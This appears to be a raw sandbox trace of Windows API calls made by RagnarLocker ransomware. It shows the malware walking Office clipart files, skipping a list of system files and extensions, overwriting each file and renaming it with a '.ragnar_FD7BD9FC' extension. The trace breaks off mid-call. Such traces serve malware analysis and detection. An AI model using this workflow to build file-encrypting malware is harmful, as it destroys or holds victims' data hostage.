1 [0089.112] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.112] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.112] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.112] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.112] GetProcessHeap () returned 0x580000 [0089.112] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.112] CloseHandle (hObject=0xf4) returned 1 [0089.112] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" [0089.112] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.ragnar_FD7BD9FC" [0089.112] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.113] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02373_.WMF", cAlternateFileName="")) returned 1 [0089.113] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.113] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02373_.WMF" | out: lpString1="NA02373_.WMF") returned="NA02373_.WMF" [0089.113] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF") returned=".WMF" [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="autorun.inf") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="boot.ini") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="bootfont.bin") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="bootsect.bak") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="bootmgr") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="bootmgr.efi") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="desktop.ini") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="iconcache.db") returned 1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="ntldr") returned -1 [0089.113] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="ntuser.dat") returned -1 [0089.114] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.114] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="ntuser.ini") returned -1 [0089.114] lstrcmpiW (lpString1="NA02373_.WMF", lpString2="thumbs.db") returned -1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.114] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf")) returned 0x20 [0089.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.114] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3308) returned 1 [0089.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xce3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.114] GetProcessHeap () returned 0x580000 [0089.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.114] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.116] VirtualAlloc (lpAddress=0x0, dwSize=0xcec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.116] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcec, lpOverlapped=0x0) returned 1 [0089.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.116] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcec, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.116] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcec, lpOverlapped=0x0) returned 1 [0089.117] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.117] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.117] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.117] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.117] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.117] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.117] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.117] GetProcessHeap () returned 0x580000 [0089.117] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.117] CloseHandle (hObject=0xf4) returned 1 [0089.117] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" [0089.117] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.ragnar_FD7BD9FC" [0089.117] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.118] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02384_.WMF", cAlternateFileName="")) returned 1 [0089.118] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.118] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02384_.WMF" | out: lpString1="NA02384_.WMF") returned="NA02384_.WMF" [0089.118] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF") returned=".WMF" [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="autorun.inf") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="boot.ini") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="bootfont.bin") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="bootsect.bak") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="bootmgr") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="bootmgr.efi") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="desktop.ini") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="iconcache.db") returned 1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="ntldr") returned -1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="ntuser.dat") returned -1 [0089.118] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.119] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="ntuser.ini") returned -1 [0089.119] lstrcmpiW (lpString1="NA02384_.WMF", lpString2="thumbs.db") returned -1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.119] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf")) returned 0x20 [0089.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.120] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3032) returned 1 [0089.120] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.120] GetProcessHeap () returned 0x580000 [0089.120] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.120] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.121] VirtualAlloc (lpAddress=0x0, dwSize=0xbd8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.121] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.122] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbd8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbd8, lpOverlapped=0x0) returned 1 [0089.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.122] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbd8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbd8, lpOverlapped=0x0) returned 1 [0089.122] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.122] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.122] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.122] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.122] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.123] GetProcessHeap () returned 0x580000 [0089.123] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.123] CloseHandle (hObject=0xf4) returned 1 [0089.123] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" [0089.123] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.ragnar_FD7BD9FC" [0089.123] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.123] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0089.123] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.124] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02386_.WMF" | out: lpString1="NA02386_.WMF") returned="NA02386_.WMF" [0089.124] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF") returned=".WMF" [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="autorun.inf") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="boot.ini") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="bootfont.bin") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="bootsect.bak") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="bootmgr") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="bootmgr.efi") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="desktop.ini") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="iconcache.db") returned 1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="ntldr") returned -1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="ntuser.dat") returned -1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="ntuser.ini") returned -1 [0089.124] lstrcmpiW (lpString1="NA02386_.WMF", lpString2="thumbs.db") returned -1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.124] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf")) returned 0x20 [0089.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.125] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2376) returned 1 [0089.125] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x93f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.125] GetProcessHeap () returned 0x580000 [0089.125] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.125] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.126] VirtualAlloc (lpAddress=0x0, dwSize=0x948, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.127] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x948, lpOverlapped=0x0) returned 1 [0089.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.127] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x948, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.127] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x948, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x948, lpOverlapped=0x0) returned 1 [0089.127] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x948, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.127] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.127] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x948, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.127] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.127] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.127] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.127] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.127] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 